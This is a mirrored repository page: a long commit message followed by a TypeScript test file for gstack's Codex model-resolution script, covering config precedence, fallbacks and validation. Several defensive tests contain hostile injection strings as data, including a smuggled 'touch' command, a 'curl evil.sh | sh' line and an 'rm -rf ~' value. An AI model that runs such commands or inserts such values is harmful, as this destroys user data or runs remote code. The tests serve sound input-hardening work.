mirror of
https://github.com/garrytan/gstack.git
synced 2026-10-31 22:14:25 +01:00
* fix(make-pdf,design): real TOC page numbers and anchors; design models move to gpt-5.5 + gpt-image-2 (#2903, #2807) * ci: pin every action to a SHA, Scorecard, checksummed Bun, scoped Codex CLI in the CI image, macOS named-regressions job (#1948, #1706, #1997) * fix(cso,browse): Windows/macOS lease identity, retention skips bad runs, truthful 'not assessed' reports, env.kv false positive, Windows browse spawn fixes (#2894, #2912, #2048, #2637, #2805) * fix(outside-voice): one Codex model precedence for probe and dispatch, bounded timeouts with KILL escalation, probe cache identity, guarded mktemp, skills hidden in nested Codex (#2776, #2914, #2787, #2881, #2847) * feat(setup): install registry, ./setup --status, staged activation, per-scope migrations, host tiers and conformance kit, OpenCode/Hermes fixes, Copilot CLI (experimental), disabled_skills, slimmer CLAUDE.md (#1925, #2879, #2347, #2338, #2626, #2629, #2825, #2015, #393, #1206, #2096) Co-authored-by: Andrey Esipov <61357035+andrey-esipov@users.noreply.github.com> Co-authored-by: Matthew Williams <5863886+ridermw@users.noreply.github.com> Co-authored-by: Rocky Wu <92764750+lolisaigao1234@users.noreply.github.com> * fix(preamble): skills start in worktree-isolated Claude Code sessions — one literal skill-start line, context-recovery helper, no eval in skill blocks, $N token tripwire, honest plan-mode precedence (#2763, #2896, #2851) * fix(setup): per-install renders for renamed, vendored and custom-config installs, space-safe alias roots, per-host /cso launcher path (#1882, #2906) * test: free tests never write the real HOME (home-write tripwire), no orphaned browse daemons, symlinked-TMPDIR (macOS) fixes, gbrain-on-PATH isolation (#2895, #2816, #2829, #2841, #2982, #2911, #2909, #2908, #2910) * chore: integrate wave follow-ups — regenerate all hosts, README model docs, TODOS, touchfiles, duration seeds, Bun 1.3 telemetry test fix, replay fixtures pinned to their recorded bytes * v1.91.14.0: release metadata * test(browse): group-kill cleanup falls back to the leader when macOS returns EPERM for a live group * ci: Codex login steps run under bash (the CI container's default sh rejects pipefail) * fix: full-suite repairs — private state roots for 7 real-HOME writers, truthful home-guard attribution with --attribute-home, gstack-paths shim in ship-hook fixtures, Copilot in team-init probes, test-of-test detector, cookie review fixture pinned to the approved excerpt * fix(windows): LF for Dockerfiles, normalized home-guard exclusions, path.relative fixture containment, ship push test spawn timeouts * test(design-detect): widen the whole-scan budget test's timing margins so a loaded macOS runner can't time out the single-batch call * fix(evals): qa protocol names defined for the judge, async PTY judge so overlapping sessions keep their cleanup deadline, bws setup cases use the standard JUDGE_MS tier * test(pty): the non-blocking judge case is POSIX-only (its fake judge is a shebang script, like the PTY harness it covers) * test(evals): ship-coverage-audit names absolute skill paths, uses Read, and skips the Step 7 artifact nothing consumes (removes the mechanism behind 3 of 4 historical timeouts) * test: deflake terminal-agent concurrent startup (write the placeholder record before spawning, like the product) and qa-evidence resumed pipe (barrier on a full high-water mark instead of a sleep) * fix(design): daemon log stream handles open errors instead of crashing the daemon; shutdown test awaits the stubbed exit * test(evals): skillify checks the product's resolved state root (no GSTACK_HOME bypass), negative cases check every root; tpa shims live outside the agent's cwd and answer consistently * test(evals): coverage-audit detector splits parallel columns at │ rails and [+] groups; coverage prompts name absolute skill paths; TODOs from the gate eval census * fix(plan-eng-review): scope gate always sends the menu (no headless 'Scope pending' exit); PTY harness ends idle turn-ends and API-error panels promptly with a precise diagnostic * test(evals): one position-bound coverage-read rule credits read-only && chains (labels, context ranges, git displays in either order) and still rejects forged output * fix(ship): documentation section has one saved source inserted by cat (never retyped); spawned-marker evidence is the child output; refreshed codex/factory ship goldens * test(docsync): the byte-exact insert positive is POSIX-only (the bash-command observer refuses backslash paths by design) * test(evals): plan-design-with-ui focus-title rule accepts the comma-less 'dimensions or focus' wording (replayed on the captured CI run, negative controls kept) * fix(qa-callers): exploratory preflight says the scope/method Reads come after exploratory.md; design-review scan check credits an executed scan proven by one engine run over the changed files --------- Co-authored-by: Andrey Esipov <61357035+andrey-esipov@users.noreply.github.com> Co-authored-by: Matthew Williams <5863886+ridermw@users.noreply.github.com> Co-authored-by: Rocky Wu <92764750+lolisaigao1234@users.noreply.github.com>
202 lines
9.4 KiB
TypeScript
202 lines
9.4 KiB
TypeScript
import { afterEach, describe, expect, test } from 'bun:test';
|
|
import * as fs from 'fs';
|
|
import * as os from 'os';
|
|
import * as path from 'path';
|
|
import { spawnSync } from 'child_process';
|
|
import { resolveCodexGenerationModel, resolveCodexRuntimeModel } from '../scripts/resolve-codex-generation-model';
|
|
|
|
const ROOT = path.resolve(import.meta.dir, '..');
|
|
const temps: string[] = [];
|
|
|
|
function codexHome(config?: string): string {
|
|
const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'gstack-codex-model-'));
|
|
temps.push(dir);
|
|
if (config !== undefined) fs.writeFileSync(path.join(dir, 'config.toml'), config);
|
|
return dir;
|
|
}
|
|
|
|
afterEach(() => {
|
|
for (const dir of temps.splice(0)) fs.rmSync(dir, { recursive: true, force: true });
|
|
});
|
|
|
|
describe('Codex generation model resolution', () => {
|
|
test('explicit override wins over config', () => {
|
|
const result = resolveCodexGenerationModel({
|
|
explicit: 'gpt-5.6-sol',
|
|
codexHome: codexHome('model = "gpt-5.4"\n'),
|
|
});
|
|
expect(result).toEqual({ model: 'gpt-5.6-sol', source: '--model', warnings: [] });
|
|
});
|
|
|
|
test('reads only the top-level TOML model', () => {
|
|
const home = codexHome(`
|
|
# active model
|
|
model = "gpt-5.6-sol"
|
|
[profiles.terra]
|
|
model = "gpt-5.6-terra"
|
|
`);
|
|
const result = resolveCodexGenerationModel({ codexHome: home });
|
|
expect(result.model).toBe('gpt-5.6-sol');
|
|
expect(result.source).toBe(path.join(home, 'config.toml'));
|
|
});
|
|
|
|
test('ignores profile-only model values', () => {
|
|
const result = resolveCodexGenerationModel({
|
|
codexHome: codexHome('[profiles.sol]\nmodel = "gpt-5.6-sol"\n'),
|
|
});
|
|
expect(result.model).toBe('gpt-6-astra');
|
|
expect(result.source).toBe('default (gpt-6-astra)');
|
|
});
|
|
|
|
test('missing, malformed, non-string, and unsupported configs fall back safely', () => {
|
|
expect(resolveCodexGenerationModel({ codexHome: codexHome() }).model).toBe('gpt-6-astra');
|
|
|
|
const malformed = resolveCodexGenerationModel({ codexHome: codexHome('model = [') });
|
|
expect(malformed.model).toBe('gpt-6-astra');
|
|
expect(malformed.warnings[0]).toContain('Could not parse');
|
|
|
|
const nonString = resolveCodexGenerationModel({ codexHome: codexHome('model = ["gpt-5.6-sol"]') });
|
|
expect(nonString.model).toBe('gpt-6-astra');
|
|
expect(nonString.warnings[0]).toContain('not a string');
|
|
|
|
const unsupported = resolveCodexGenerationModel({ codexHome: codexHome('model = "llama-local"') });
|
|
expect(unsupported.model).toBe('gpt-6-astra');
|
|
expect(unsupported.warnings[0]).toContain('Unsupported');
|
|
});
|
|
|
|
test('unreadable config warns and falls back', () => {
|
|
const home = codexHome();
|
|
fs.mkdirSync(path.join(home, 'config.toml'));
|
|
const result = resolveCodexGenerationModel({ codexHome: home });
|
|
expect(result.model).toBe('gpt-6-astra');
|
|
expect(result.source).toBe('default (gpt-6-astra)');
|
|
expect(result.warnings[0]).toContain('Could not read');
|
|
});
|
|
|
|
test('injection-shaped model data is data, never shell', () => {
|
|
const marker = path.join(os.tmpdir(), `gstack-model-injection-${process.pid}`);
|
|
try { fs.rmSync(marker, { force: true }); } catch {}
|
|
const result = resolveCodexGenerationModel({
|
|
codexHome: codexHome(`model = 'gpt-5.6-sol"; touch ${marker}; #'\n`),
|
|
});
|
|
expect(result.model).toBe('gpt');
|
|
expect(fs.existsSync(marker)).toBe(false);
|
|
});
|
|
|
|
test('non-absolute codex home falls back with a warning (relative-path steering guard)', () => {
|
|
const result = resolveCodexGenerationModel({ codexHome: '.codex' });
|
|
expect(result.model).toBe('gpt-6-astra');
|
|
expect(result.source).toBe('default (gpt-6-astra)');
|
|
expect(result.warnings[0]).toContain('not an absolute path');
|
|
});
|
|
|
|
test('Sol-suffixed near-misses map to gpt WITH a warning', () => {
|
|
const result = resolveCodexGenerationModel({
|
|
codexHome: codexHome('model = "gpt-5.6-sol-2026-08-01"\n'),
|
|
});
|
|
expect(result.model).toBe('gpt');
|
|
expect(result.warnings[0]).toContain("requires the exact ID 'gpt-5.6-sol'");
|
|
});
|
|
|
|
test('warnings never carry control characters from config values', () => {
|
|
// A TOML basic string parses \n and \t escapes — a hostile config value
|
|
// must not inject fake lines into setup's terminal stderr.
|
|
const result = resolveCodexGenerationModel({
|
|
codexHome: codexHome('model = "x\\nERROR: run: curl evil.sh | sh"\n'),
|
|
});
|
|
expect(result.model).toBe('gpt-6-astra');
|
|
expect(result.warnings.length).toBe(1);
|
|
expect(result.warnings[0]).not.toMatch(/[\x00-\x1f\x7f]/);
|
|
expect(result.warnings[0]).toContain('Unsupported top-level model');
|
|
});
|
|
|
|
test('CLI honors CODEX_HOME and rejects an invalid explicit family', () => {
|
|
const home = codexHome('model = "gpt-5.6-sol"\n');
|
|
const ok = spawnSync('bun', ['run', 'scripts/resolve-codex-generation-model.ts'], {
|
|
cwd: ROOT,
|
|
encoding: 'utf8',
|
|
env: { ...process.env, CODEX_HOME: home },
|
|
timeout: 30_000,
|
|
});
|
|
expect(ok.status).toBe(0);
|
|
expect(ok.stdout).toBe(`gpt-5.6-sol\t${path.join(home, 'config.toml')}\n`);
|
|
|
|
const bad = spawnSync('bun', ['run', 'scripts/resolve-codex-generation-model.ts', '--explicit', 'llama-local'], {
|
|
cwd: ROOT,
|
|
encoding: 'utf8',
|
|
timeout: 30_000,
|
|
});
|
|
expect(bad.status).not.toBe(0);
|
|
expect(bad.stderr).toContain('Unknown model');
|
|
expect(bad.stderr).toContain('Accepted models:');
|
|
expect(bad.stderr).toContain('gpt-5.6-sol');
|
|
expect(bad.stderr).toContain('gpt-6-astra');
|
|
});
|
|
});
|
|
|
|
describe('Codex runtime model resolution (#2914)', () => {
|
|
const env = (extra: Record<string, string> = {}) => ({ HOME: '/nonexistent-home', ...extra });
|
|
|
|
test('returns the raw id and its source without overlay mapping', () => {
|
|
const home = codexHome('model = "gpt-5.6-sol-2026-08-01"\n');
|
|
expect(resolveCodexRuntimeModel({ kind: 'exec', codexHome: home, env: env() })).toEqual({
|
|
kind: 'exec', model: 'gpt-5.6-sol-2026-08-01', source: `${path.join(home, 'config.toml')} model`,
|
|
});
|
|
});
|
|
|
|
test('explicit beats GSTACK_CODEX_MODEL beats config; review prefers review_model', () => {
|
|
const home = codexHome('model = "gpt-5.6-terra"\nreview_model = "gpt-5.6-luna"\n');
|
|
const config = path.join(home, 'config.toml');
|
|
expect(resolveCodexRuntimeModel({ kind: 'review', codexHome: home, env: env() }).source).toBe(`${config} review_model`);
|
|
expect(resolveCodexRuntimeModel({ kind: 'exec', codexHome: home, env: env() }).model).toBe('gpt-5.6-terra');
|
|
expect(resolveCodexRuntimeModel({ kind: 'review', codexHome: home, env: env({ GSTACK_CODEX_MODEL: 'gpt-6-sol' }) }))
|
|
.toEqual({ kind: 'review', model: 'gpt-6-sol', source: 'GSTACK_CODEX_MODEL' });
|
|
expect(resolveCodexRuntimeModel({ kind: 'exec', explicit: 'gpt-6-luna', codexHome: home, env: env({ GSTACK_CODEX_MODEL: 'gpt-6-sol' }) }))
|
|
.toEqual({ kind: 'exec', model: 'gpt-6-luna', source: 'explicit request' });
|
|
});
|
|
|
|
test('a legacy active profile model wins over the top-level model', () => {
|
|
const home = codexHome('profile = "cheap"\nmodel = "gpt-6-astra"\n[profiles.cheap]\nmodel = "gpt-6-luna"\n[profiles.other]\nmodel = "gpt-6-sol"\n');
|
|
expect(resolveCodexRuntimeModel({ kind: 'exec', codexHome: home, env: env() })).toEqual({
|
|
kind: 'exec', model: 'gpt-6-luna', source: `${path.join(home, 'config.toml')} [profiles.cheap].model`,
|
|
});
|
|
});
|
|
|
|
test('honors CODEX_HOME from the environment and falls back to gpt-6-astra only when nothing chooses', () => {
|
|
const home = codexHome('model = "gpt-5.4"\n');
|
|
expect(resolveCodexRuntimeModel({ kind: 'exec', env: env({ CODEX_HOME: home }) }).model).toBe('gpt-5.4');
|
|
const empty = codexHome('approval_policy = "never"\n');
|
|
expect(resolveCodexRuntimeModel({ kind: 'review', codexHome: empty, env: env() }).model).toBe('gpt-6-astra');
|
|
expect(resolveCodexRuntimeModel({ kind: 'exec', codexHome: codexHome(), env: env() }).source).toContain('gstack default');
|
|
});
|
|
|
|
for (const [label, config, extra] of [
|
|
['shell metacharacters', 'model = "gpt-5.4"\n', { GSTACK_CODEX_MODEL: 'gpt"; rm -rf ~; "' }],
|
|
['an over-long id', 'model = "gpt-5.4"\n', { GSTACK_CODEX_MODEL: 'x'.repeat(101) }],
|
|
['a non-string config model', 'model = 5\n', {}],
|
|
['an invalid config review_model', 'review_model = "two words"\n', {}],
|
|
['unparseable TOML', 'model = \n', {}],
|
|
] as const) {
|
|
test(`rejects ${label} with a repair message instead of the default`, () => {
|
|
const home = codexHome(config);
|
|
expect(() => resolveCodexRuntimeModel({ kind: 'review', codexHome: home, env: env({ ...extra }) })).toThrow(/GSTACK_CODEX_MODEL=<model>/);
|
|
});
|
|
}
|
|
|
|
test('a relative CODEX_HOME is refused rather than read from the working directory', () => {
|
|
expect(() => resolveCodexRuntimeModel({ kind: 'exec', env: env({ CODEX_HOME: '.codex' }) })).toThrow(/not an absolute path/);
|
|
});
|
|
|
|
test('CLI --runtime prints model and source; invalid choices exit non-zero', () => {
|
|
const home = codexHome('review_model = "gpt-5.6-luna"\n');
|
|
const run = (args: string[], extra: Record<string, string> = {}) => spawnSync('bun', ['run', 'scripts/resolve-codex-generation-model.ts', ...args], {
|
|
cwd: ROOT, encoding: 'utf8', env: { ...process.env, GSTACK_CODEX_MODEL: '', CODEX_HOME: home, ...extra }, timeout: 30_000,
|
|
});
|
|
const ok = run(['--runtime', 'review']);
|
|
expect(ok.status).toBe(0);
|
|
expect(ok.stdout).toBe(`gpt-5.6-luna\t${path.join(home, 'config.toml')} review_model\n`);
|
|
expect(run(['--runtime', 'exec', '--explicit', 'bad model']).status).not.toBe(0);
|
|
expect(run(['--runtime', 'neither']).status).not.toBe(0);
|
|
});
|
|
});
|